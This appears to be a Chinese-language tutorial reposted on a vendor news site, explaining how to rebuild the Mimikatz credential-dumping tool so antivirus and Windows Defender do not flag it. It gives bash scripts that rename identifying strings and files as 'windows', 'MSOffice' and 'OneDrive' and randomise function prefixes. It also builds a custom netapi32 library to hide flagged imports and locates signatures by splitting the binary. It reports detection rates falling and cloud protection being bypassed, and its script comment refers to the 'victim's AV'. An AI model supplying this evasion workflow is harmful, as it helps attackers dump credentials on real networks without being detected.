您好,登錄后才能下訂單哦!
本篇文章為大家展示了如何構建自定義的Mimikatz二進制文件,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
如何通過修改源代碼的方式構建自定義的Mimikatz二進制文件,并繞過反病毒/終端檢測與響應產品。
目前社區有很多關于Mimikatz混淆的技術文章,但大多數都針對的是如何讓Invoke-Mimikatz繞過AMSI或直接使用PowerShell版本的混淆工具。但是,我選擇的是構建一個不會被反病毒產品標記的自定義Mimikatz版本:
# This script downloads and slightly "obfuscates" the mimikatz project. # Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ..., # so removing them from the project before compiling gets us past most of the AV solutions. # We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ...., # but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program. git clone https://github.com/gentilkiwi/mimikatz.git windows mv windows/mimikatz windows/windows find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g' find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g' find windows/ -type f -print0 | xargs -0 sed -i 's/Mimikatz/Windows/g' find windows/ -type f -print0 | xargs -0 sed -i 's/DELPY/James/g' find windows/ -type f -print0 | xargs -0 sed -i 's/Benjamin/Troy/g' find windows/ -type f -print0 | xargs -0 sed -i 's/benjamin@gentilkiwi.com/jtroy@hotmail.com/g' find windows/ -type f -print0 | xargs -0 sed -i 's/creativecommons/python/g' find windows/ -type f -print0 | xargs -0 sed -i 's/gentilkiwi/MSOffice/g' find windows/ -type f -print0 | xargs -0 sed -i 's/KIWI/ONEDRIVE/g' find windows/ -type f -print0 | xargs -0 sed -i 's/Kiwi/Onedrive/g' find windows/ -type f -print0 | xargs -0 sed -i 's/kiwi/onedrive/g' find windows/ -type f -name '*mimikatz*' | while read FILE ; do newfile="$(echo ${FILE} |sed -e 's/mimikatz/windows/g')"; mv "${FILE}" "${newfile}"; done find windows/ -type f -name '*kiwi*' | while read FILE ; do newfile="$(echo ${FILE} |sed -e 's/kiwi/onedrive/g')"; mv "${FILE}" "${newfile}"; Done
接下來,我們一起看一看如何去構建一個自定義的Mimikatz二進制文件。
毫無疑問,你下載的每一個Mimikatz發行版都會被反病毒產品標記為惡意軟件,因為很多攻擊者都會選擇使用Mimikatz和其他開源項目來實施各種攻擊行為。顯然,有很多人并不知道為何這些開源項目會被標記,以及它們是如何被標記的:
真實的攻擊者和滲透測試人員一般都不會直接選擇使用項目的發布版本,而通常會選擇使用自己的自定義構建版本。一般來說,他們只會選擇使用Mimikatz的部分源代碼。在這種情況下,我們會在保留原有功能特性的基礎上對源代碼進行修改以評估其檢測率。因此,使用自定義的源碼文件還是我們最佳的實踐方式。
針對Mimikatz的特征,我們首先需要替換掉下列字符串:
1、mimikatz, MIMIKATZ和Mimikatz
2、DELPY, Benjamin, benjamin@gentilkiwi.com
3、creativecommons
4、gentilkiwi
5、KIWI, Kiwi和kiwi
從反病毒廠商的角度來看,首先需要標記的就是源碼文件中的這些字符串,如果你打開Mimikatz的菜單,你將看到如下圖所示的信息:
菜單中所有的字符串都可以證明Mimikatz正在運行,所以我們需要在腳本中添加下列特征字符串來替換掉它們:
“A La Vie, A L’Amour” http://blog.gentilkiwi.com/mimikatz Vincent LE TOUX vincent.letoux@gmail.com http://pingcastle.com http://mysmartlogon.com
我們也可以直接打開mimikatz.c文件,然后替換掉Banner,或者直接刪掉它們。
接下來,我們還需要替換掉一些功能性的關鍵詞。Mimikatz中的主模塊如下:
1、crypto, dpapi, kerberos, lsadump, ngc, sekurlsa 2、standard, privilege, process, service, ts, event 3、misc, token, vault, minesweeper, net, busylight 4、sysenv, sid, iis, rpc, sr98, rdm, acr
我們還可以輸入一個無效的模塊名(例如::)來顯示所有可用模塊:
在這里,我們有兩個選擇。要么把所有的函數名替換成全大寫字母,或者直接修改函數名稱。對于第一種方法,我們熟悉的那些函數相當于沒有變化。但對于第二種方法,我們就得去記新的函數名了。目前,我們選擇繼續使用熟悉得函數名,因為我怕一旦不小心,就會破壞其原有功能。為了為每個新版本構建一個自定義二進制文件,我們用隨機名稱替換與函數名無關的字符串。
要替換的另一個重要內容是二進制文件的圖標。因此,在gist的修改版本中,我們用一些隨機下載的圖標替換現有的圖標。
主菜單中的每個功能都有子功能。例如,最著名的函數sekurlsa就包含了以下子函數:
1、msv, wdigest, kerberos, tspkg 2、livessp, cloudap, ssp, logonpasswords 3、process, minidump, bootkey, pth 4、krbtgt, dpapisystem, trust, backupkeys 5、tickets, ekeys, dpapi, credman
確保大部分熟知的Mimikatz標識符都已經被修改了,其中也包括子函數名。腳本樣例代碼:【點我獲取】。
通過執行Bash腳本,編譯代碼,并上傳至VirusToal,我們將查看到下列結果:
25/67的檢測率,但肯定還不夠。
為了找到更多的特征,我們可以使用下列命令來將文件分割成多個部分:
head -c byteLength mimikatz.exe > split.exe
如果結果文件被刪除了,說明其中就存在特征。如果沒有被刪除,那么這部分文件就是安全的。你還可以使用DefenderCheck工具來自動化實現該任務。簡單來說,就是將文件分割成多個部分,然后把它們拷貝到C:\temp\目錄下,并用Windows Defender進行掃描:
netapi32.dll中的下面這三個函數都會被Windows Defender標記:
I_NetServerAuthenticate2 I_NetServerReqChallenge I_NetServerTrustPasswordsGet
在這里,我們可以創建一個包含下列內容的.def文件來構建一個自定義的netapi32.min.lib:
L
IBRARY netapi32.dll EXPORTS I_NetServerAuthenticate2 @ 59 I_NetServerReqChallenge @ 65 I_NetServerTrustPasswordsGet @ 62
此時,我們可以使用下列命令在Visual Studio開發者終端中構建netapi32.min.lib文件:
lib /DEF:netapi32.def /OUT:netapi32.min.lib
我們將該文件嵌入至lib\x64\目錄,然后重新編譯。再次運行DefenderCheck之后,將無法檢測到任何內容:
這也就意味著,我們已經繞過了Windows Defender的“實時保護”功能。但如果我們啟用云保護功能,然后將該文件拷貝至其他位置,它還是會被檢測到:
當然了,我們還有很多需要替換的東西。首先,我們還要處理那些比較明顯的字符串。Mimikatz菜單中包含對每個函數的介紹。比如說,子函數privilege就有下列描述信息:
這里,我們可以將所有的描述以字符串的形式添加進我們的Bash腳本中來進行替換。但并非所有都需要,比如說下面這些:
answer - Answer to the Ultimate Question of Life, the Universe, and Everything coffee - Please, make me a coffee!
很多反病毒廠商會將相關的功能性DLL文件加載行為也進行標記,Mimikatz需要從.DLL文件中加載很多函數,為了在Mimikatz源代碼中找到相關的DLL文件,我們需要打開Visual Studio,按下STRG + SHIFT + F。此時將能夠搜索整個項目,搜索.dll就可以查看到項目中所有使用到的DLL文件了,然后將它們添加到Bash腳本中進行名稱替換即可。
整個項目的目錄結構似乎也是反病毒產品檢測的根據之一,這里所有可用的函數名稱貌似都是以kuhl_或KULL_作為前綴來聲明的:
我們可以直接替換掉這些前綴:
kuhl=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1) find windows/ -type f -print0 | xargs -0 sed -i "s/kuhl/$kuhl/g" kull=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1) find windows/ -type f -print0 | xargs -0 sed -i "s/kull/$kull/g" find windows/ -type f -name "*kuhl*" | while read FILE ; do newfile="$(echo ${FILE} |sed -e "s/kuhl/$kuhl/g")"; mv "${FILE}" "${newfile}"; done find windows/ -type f -name "*kull*" | while read FILE ; do newfile="$(echo ${FILE} |sed -e "s/kull/$kull/g")"; mv "${FILE}" "${newfile}"; done under=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1) find windows/ -type f -print0 | xargs -0 sed -i "s/_m_/$under/g" find windows/ -type f -name "*_m_*" | while read FILE ; do newfile="$(echo ${FILE} |sed -e "s/_m_/$under/g")"; mv "${FILE}" "${newfile}"; Done
Bash腳本:【點我獲取】
執行Bash腳本之后,編譯并上傳至Virustotal:
雖然檢測率還沒啥太大變化,但目前已經可以繞過開啟了云保護功能的Windows Defender了:
上述內容就是如何構建自定義的Mimikatz二進制文件,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。